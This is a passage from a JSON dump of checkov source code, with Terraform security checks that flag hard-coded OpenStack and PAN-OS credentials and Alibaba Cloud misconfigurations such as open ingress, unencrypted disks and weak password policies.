    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.provider.base_check import BaseProviderCheck\n\n\nclass OpenstackCredentials(BaseProviderCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard coded OpenStack password, token, or application_credential_secret exists in provider\"\n        id = \"CKV_OPENSTACK_1\"\n        supported_provider = [\"openstack\"]\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider)\n\n    def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"\n        see: https://registry.terraform.io/providers/terraform-provider-openstack/openstack/latest/docs#configuration-reference\n        \"\"\"\n        result = CheckResult.PASSED\n        if conf.get(\"password\"):\n            conf[f'{self.id}_secret_1'] = conf.get('password')[0]\n            result = CheckResult.FAILED\n        if conf.get(\"token\"):\n            conf[f'{self.id}_secret_2'] = conf.get('token')[0]\n            result = CheckResult.FAILED\n        if conf.get(\"application_credential_secret\"):\n            conf[f'{self.id}_secret_3'] = conf.get('application_credential_secret')[0]\n            result = CheckResult.FAILED\n        return result\n\n\ncheck = OpenstackCredentials()\n"
  },
  {
    "path": "checkov/terraform/checks/provider/panos/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/terraform/checks/provider/panos/credentials.py",
    "content": "import re\nfrom typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.provider.base_check import BaseProviderCheck\nfrom checkov.common.models.consts import panos_api_key_pattern\n\n\nclass PanosCredentials(BaseProviderCheck):\n    def __init__(self) -> None:\n        name = \"Ensure no hard coded PAN-OS credentials exist in provider\"\n        id = \"CKV_PAN_1\"\n        supported_provider = [\"panos\"]\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_provider=supported_provider)\n\n    def scan_provider_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        result = CheckResult.PASSED\n        if self.secret_found(conf, \"api_key\", panos_api_key_pattern):\n            result = CheckResult.FAILED\n\n        password = conf.get(\"password\")\n        if password:\n            conf[f'{self.id}_secret_pwd'] = password\n            result = CheckResult.FAILED\n        return result\n\n    def secret_found(self, conf: Dict[str, List[Any]], field: str, pattern: str) -> bool:\n        if field in conf.keys():\n            value = conf[field][0]\n            if not isinstance(value, str) or re.match(pattern, value) is not None:\n                if isinstance(value, str):\n                    conf[f'{self.id}_secret'] = value\n                return True\n        return False\n\n\ncheck = PanosCredentials()\n"
  },
  {
    "path": "checkov/terraform/checks/provider/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.terraform.checks.provider.base_registry import Registry\n\nprovider_registry = Registry(CheckType.TERRAFORM)\n"
  },
  {
    "path": "checkov/terraform/checks/resource/__init__.py",
    "content": "from checkov.terraform.checks.resource.aws import *  # noqa\nfrom checkov.terraform.checks.resource.gcp import *  # noqa\nfrom checkov.terraform.checks.resource.azure import *  # noqa\nfrom checkov.terraform.checks.resource.github import *  # noqa\nfrom checkov.terraform.checks.resource.gitlab import *  # noqa\nfrom checkov.terraform.checks.resource.linode import *  # noqa\nfrom checkov.terraform.checks.resource.oci import *  # noqa\nfrom checkov.terraform.checks.resource.openstack import *  # noqa\nfrom checkov.terraform.checks.resource.panos import *  # noqa\nfrom checkov.terraform.checks.resource.digitalocean import *  # noqa\nfrom checkov.terraform.checks.resource.alicloud import *  # noqa\nfrom checkov.terraform.checks.resource.kubernetes import *  # noqa\nfrom checkov.terraform.checks.resource.yandexcloud import *  # noqa\nfrom checkov.terraform.checks.resource.ncp import *  # noqa\nfrom checkov.terraform.checks.resource.tencentcloud import * # noqa\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/ALBACLIsUnrestricted.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass ALBACLIsUnrestricted(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Alibaba ALB ACL does not restrict Access\"\n        id = \"CKV_ALI_29\"\n        supported_resources = ['alicloud_alb_acl_entry_attachment']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'entry'\n\n    def get_forbidden_values(self):\n        return [\"0.0.0.0/0\"]\n\n\ncheck = ALBACLIsUnrestricted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/APIGatewayProtocolHTTPS.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass APIGatewayProtocolHTTPS(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure API Gateway API Protocol HTTPS\"\n        id = \"CKV_ALI_21\"\n        supported_resources = ['alicloud_api_gateway_api']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get(\"request_config\") and isinstance(conf.get(\"request_config\"), list):\n            configs = conf.get(\"request_config\")\n            for idx, config in enumerate(configs):\n                if config.get(\"protocol\") != [\"HTTPS\"]:\n                    self.evaluated_keys = [f\"request_config/[{idx}]/protocol\"]\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n        self.evaluated_keys = [\"\"]\n        return CheckResult.FAILED\n\n\ncheck = APIGatewayProtocolHTTPS()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/AbsRDSParameter.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass AbsRDSParameter(BaseResourceCheck):\n    def __init__(self, check_id, parameter):\n        name = f\"Ensure RDS instance has {parameter} enabled\"\n        supported_resources = ['alicloud_db_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.parameter = parameter\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks at configuration of RDS logging parameters :\n\n        :param conf: alicloud_db_instance configuration\n        :return: <CheckResult>\n        \"\"\"\n        params = conf.get(\"parameters\")\n        if params and isinstance(params, list):\n            for param in params:\n                if not isinstance(param, dict):\n                    return CheckResult.UNKNOWN\n                if param['name'][0] == self.parameter and (param['value'][0]).lower() == 'on':\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self):\n        return [\"parameters\"]\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/AbsSecurityGroupUnrestrictedIngress.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass AbsSecurityGroupUnrestrictedIngress(BaseResourceCheck):\n    def __init__(self, check_id, port):\n        name = \"Ensure no security groups allow ingress from 0.0.0.0:0 to port %d\" % port\n        supported_resources = ['alicloud_security_group_rule']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n        self.port = port\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for configuration at security group ingress rules :\n            https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/security_group_rule\n\n            Return PASS if:\n            - The resource is an alicloud_security_group_rule of type 'ingress' that does not violate the check.\n\n            Return FAIL if:\n            - The resource is an alicloud_security_group_rule of type 'ingress' that violates the check.\n\n            Return UNKNOWN if:\n            - the resource is an alicloud_security_group_rule of type 'egress'\n\n        :param conf: alicloud_security_group_rule configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if 'type' not in conf:  # This means it's not an alicloud_security_group_rule resource.\n            return CheckResult.PASSED\n\n        rule_type = force_list(conf['type'])[0]\n        if rule_type != 'ingress':\n            return CheckResult.UNKNOWN\n        self.evaluated_keys = ['port_range', 'cidr_ip']\n        if not conf.get('port_range'):\n            return CheckResult.PASSED\n        if self.contains_violation(conf):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def contains_violation(self, conf):\n        try:\n            from_port = force_int(force_list(conf.get('port_range', [{-1}]))[0].split('/')[0])\n            to_port = force_int(force_list(conf.get('port_range', [{-1}]))[0].split('/')[1])\n        except Exception:\n            return False\n\n        if from_port and to_port and from_port <= self.port <= to_port:\n            conf_cidr_blocks = conf.get('cidr_ip', [[]])\n            cidr_blocks = force_list(conf_cidr_blocks)\n            if \"0.0.0.0/0\" in cidr_blocks or not cidr_blocks[0]:\n                return True\n        return False\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/ActionTrailLogAllEvents.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass ActionTrailLogAllEvents(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Action Trail Logging for all events\"\n        id = \"CKV_ALI_5\"\n        supported_resources = (\"alicloud_actiontrail_trail\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.FAILED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"event_rw\"\n\n    def get_expected_value(self) -> Any:\n        return \"All\"\n\n\ncheck = ActionTrailLogAllEvents()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/ActionTrailLogAllRegions.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass ActionTrailLogAllRegions(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Action Trail Logging for all regions\"\n        id = \"CKV_ALI_4\"\n        supported_resources = (\"alicloud_actiontrail_trail\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"trail_region\"\n\n    def get_expected_value(self) -> Any:\n        return \"All\"\n\n\ncheck = ActionTrailLogAllRegions()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/DiskEncryptedWithCMK.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DiskEncryptedWithCMK(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Disk is encrypted with Customer Master Key\"\n        id = \"CKV_ALI_8\"\n        supported_resources = (\"alicloud_disk\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if conf.get(\"snapshot_id\"):\n            return CheckResult.UNKNOWN\n        encrypted = conf.get(\"encrypted\")\n        if encrypted and encrypted == [True]:\n            if conf.get(\"kms_key_id\"):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"encrypted\"]\n\n\ncheck = DiskEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/DiskIsEncrypted.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DiskIsEncrypted(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure disk is encrypted\"\n        id = \"CKV_ALI_7\"\n        supported_resources = ['alicloud_disk']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"snapshot_id\"):\n            return CheckResult.UNKNOWN\n        if conf.get(\"encrypted\") and conf.get(\"encrypted\") == [True]:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['encrypted']\n\n\ncheck = DiskIsEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/K8sEnableNetworkPolicies.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass K8sEnableNetworkPolicies(BaseResourceCheck):\n    def __init__(self):\n        \"\"\"\n        Kubernetes Cluster should have Terway or Flannel as CNI Network Plugin as it allows you to use\n        standard Kubernetes network policies\n        https://www.alibabacloud.com/help/en/container-service-for-kubernetes/latest/work-with-terway\n        https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/cs_kubernetes#cluster_network_type\n        The vswitches for the pod network when using Terway.Be careful the pod_vswitch_ids can not equal to\n        worker_vswitch_ids or master_vswitch_ids but must be in same availability zones.\n        Flannel requires pod_cidr.\n        \"\"\"\n\n        name = \"Ensure Kubernetes installs plugin Terway or Flannel to support standard policies\"\n        id = \"CKV_ALI_26\"\n        supported_resources = ['alicloud_cs_kubernetes']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # required fields\n        if not (conf.get(\"pod_vswitch_ids\") or conf.get(\"pod_cidr\")):\n            return CheckResult.FAILED\n        # addons\n        if conf.get(\"addons\") and isinstance(conf.get(\"addons\"), list):\n            names = [\n                addon[\"name\"][0]\n                for addon in conf[\"addons\"]\n                if addon.get(\"name\")\n            ]\n\n            if \"terway-eniip\" in names:\n                if conf.get(\"pod_vswitch_ids\") and isinstance(conf.get(\"pod_vswitch_ids\"), list):\n                    net_ids = conf.get(\"pod_vswitch_ids\")[0]\n                    if isinstance(conf.get(\"worker_vswitch_ids\"), list) \\\n                            and isinstance(conf.get(\"master_vswitch_ids\"), list):\n                        if any(net_id in net_ids for net_id in conf.get(\"worker_vswitch_ids\")[0]):\n                            self.evaluated_keys = [\"worker_vswitch_ids\"]\n                            return CheckResult.FAILED\n                        if any(net_id in net_ids for net_id in conf.get(\"master_vswitch_ids\")[0]):\n                            self.evaluated_keys = [\"master_vswitch_ids\"]\n                            return CheckResult.FAILED\n                        return CheckResult.PASSED\n\n                self.evaluated_keys = [\"pod_vswitch_ids\"]\n                return CheckResult.FAILED\n            if \"flannel\" in names:\n                if conf.get(\"pod_cidr\"):\n                    return CheckResult.PASSED\n            self.evaluated_keys = [\"addons/[0]/config\"]\n            return CheckResult.FAILED\n        else:\n            self.evaluated_keys = [\"addons\"]\n            return CheckResult.FAILED\n\n\ncheck = K8sEnableNetworkPolicies()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/K8sNodePoolAutoRepair.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass K8sNodePoolAutoRepair(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure K8s nodepools are set to auto repair\"\n        id = \"CKV_ALI_31\"\n        supported_resources = (\"alicloud_cs_kubernetes_node_pool\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n            missing_block_result=CheckResult.FAILED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"management/auto_repair\"\n\n\ncheck = K8sNodePoolAutoRepair()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/KMSKeyIsEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass KMSKeyIsEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure KMS Keys are enabled\"\n        id = \"CKV_ALI_28\"\n        supported_resources = ['alicloud_kms_key']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"status\"\n\n    def get_expected_value(self) -> Any:\n        return \"Enabled\"\n\n\ncheck = KMSKeyIsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/KMSKeyRotationIsEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass KMSKeyRotationIsEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure KMS Key Rotation is enabled\"\n        id = \"CKV_ALI_27\"\n        supported_resources = ['alicloud_kms_key']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return \"automatic_rotation\"\n\n    def get_expected_value(self) -> Any:\n        return \"Enabled\"\n\n\ncheck = KMSKeyRotationIsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/LaunchTemplateDisksAreEncrypted.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass LaunchTemplateDisksAreEncrypted(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure launch template data disks are encrypted\"\n        id = \"CKV_ALI_32\"\n        supported_resources = ['alicloud_ecs_launch_template']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        data_disks = conf.get(\"data_disks\")\n        if data_disks and isinstance(data_disks, list):\n            for idx, disk in enumerate(data_disks):\n                if disk.get('encrypted') != [True]:\n                    self.evaluated_keys = [f'data_disks/[{idx}]/encrypted']\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = LaunchTemplateDisksAreEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/LogAuditRDSEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass LogAuditRDSEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure log audit is enabled for RDS\"\n        id = \"CKV_ALI_38\"\n        supported_resources = (\"alicloud_log_audit\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"variable_map/[0]/rds_enabled\"\n\n\ncheck = LogAuditRDSEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/MongoDBInsideVPC.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass MongoDBInsideVPC(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MongoDB is deployed inside a VPC\"\n        id = \"CKV_ALI_41\"\n        supported_resources = (\"alicloud_mongodb_instance\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"network_type\"\n\n    def get_expected_value(self) -> Any:\n        return \"VPC\"\n\n\ncheck = MongoDBInsideVPC()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/MongoDBInstanceSSL.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import List, Any\n\n\nclass MongoDBInstanceSSL(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Mongodb instance uses SSL\"\n        id = \"CKV_ALI_42\"\n        supported_resources = ['alicloud_mongodb_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'ssl_action'\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"Open\", \"Update\"]\n\n\ncheck = MongoDBInstanceSSL()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/MongoDBIsPublic.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass MongoDBIsPublic(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure MongoDB instance is not public\"\n        id = \"CKV_ALI_43\"\n        supported_resources = ['alicloud_mongodb_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        security_ip_list = conf.get(\"security_ip_list\")\n        if security_ip_list and isinstance(security_ip_list, list):\n            addresses = security_ip_list[0]\n            if \"0.0.0.0\" in addresses or \"0.0.0.0/0\" in addresses:  # nosec B104\n                self.evaluated_keys = ['security_ip_list']\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = MongoDBIsPublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/MongoDBTransparentDataEncryptionEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any\n\n\nclass MongoDBTransparentDataEncryptionEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MongoDB has Transparent Data Encryption Enabled\"\n        id = \"CKV_ALI_44\"\n        supported_resources = (\"alicloud_mongodb_instance\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"tde_status\"\n\n    def get_expected_value(self) -> Any:\n        return \"enabled\"\n\n\ncheck = MongoDBTransparentDataEncryptionEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/OSSBucketAccessLogs.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass OSSBucketAccessLogs(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure the OSS bucket has access logging enabled\"\n        id = \"CKV_ALI_12\"\n        supported_resources = (\"alicloud_oss_bucket\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"logging\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = OSSBucketAccessLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/OSSBucketEncryptedWithCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass OSSBucketEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure OSS bucket is encrypted with Customer Master Key\"\n        id = \"CKV_ALI_6\"\n        supported_resources = ['alicloud_oss_bucket']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'server_side_encryption_rule/[0]/kms_master_key_id'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = OSSBucketEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/OSSBucketTransferAcceleration.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass OSSBucketTransferAcceleration(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure OSS bucket has transfer Acceleration enabled\"\n        id = \"CKV_ALI_11\"\n        supported_resources = ['alicloud_oss_bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'transfer_acceleration/[0]/enabled'\n\n\ncheck = OSSBucketTransferAcceleration()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/OSSBucketVersioning.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass OSSBucketVersioning(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure OSS bucket has versioning enabled\"\n        id = \"CKV_ALI_10\"\n        supported_resources = ['alicloud_oss_bucket']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'versioning/[0]/status'\n\n    def get_expected_value(self):\n        return 'Enabled'\n\n\ncheck = OSSBucketVersioning()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyExpiration.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass PasswordPolicyExpiration(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RAM password policy expires passwords within 90 days or less\"\n        id = \"CKV_ALI_16\"\n        supported_resources = ['alicloud_ram_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'max_password_age'\n\n    def get_expected_value(self):\n        return 90\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n        validates ram password policy\n        https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/ram_account_password_policy\n        :param conf: alicloud_ram_account_password_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        key = 'max_password_age'\n        if key in conf.keys():\n            max_age = conf[key][0]\n            if self._is_variable_dependant(max_age):\n                return CheckResult.UNKNOWN\n            max_age = force_int(max_age)\n            if max_age and 0 < max_age <= 90:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PasswordPolicyExpiration()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLength.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass PasswordPolicyLength(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RAM password policy requires minimum length of 14 or greater\"\n        id = \"CKV_ALI_13\"\n        supported_resources = ['alicloud_ram_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'minimum_password_length'\n\n    def get_expected_value(self):\n        return 14\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            validates ram password policy\n            https://registry.terraform.io/providers/aliyun/alicloud/latest/docs/resources/ram_account_password_policy\n        :param conf: alicloud_ram_account_password_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        key = 'minimum_password_length'\n        if key in conf.keys():\n            length = conf[key][0]\n            if self._is_variable_dependant(length):\n                return CheckResult.UNKNOWN\n            length = force_int(length)\n            if not (length and length < 14):\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PasswordPolicyLength()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyLowercaseLetter.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass PasswordPolicyLowercaseLetter(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure RAM password policy requires at least one lowercase letter\"\n        id = \"CKV_ALI_17\"\n        supported_resources = ['alicloud_ram_account_password_policy']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'require_lowercase_characters'\n\n\ncheck = PasswordPolicyLowercaseLetter()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/alicloud/RAMPasswordPolicyMaxLogin.py",
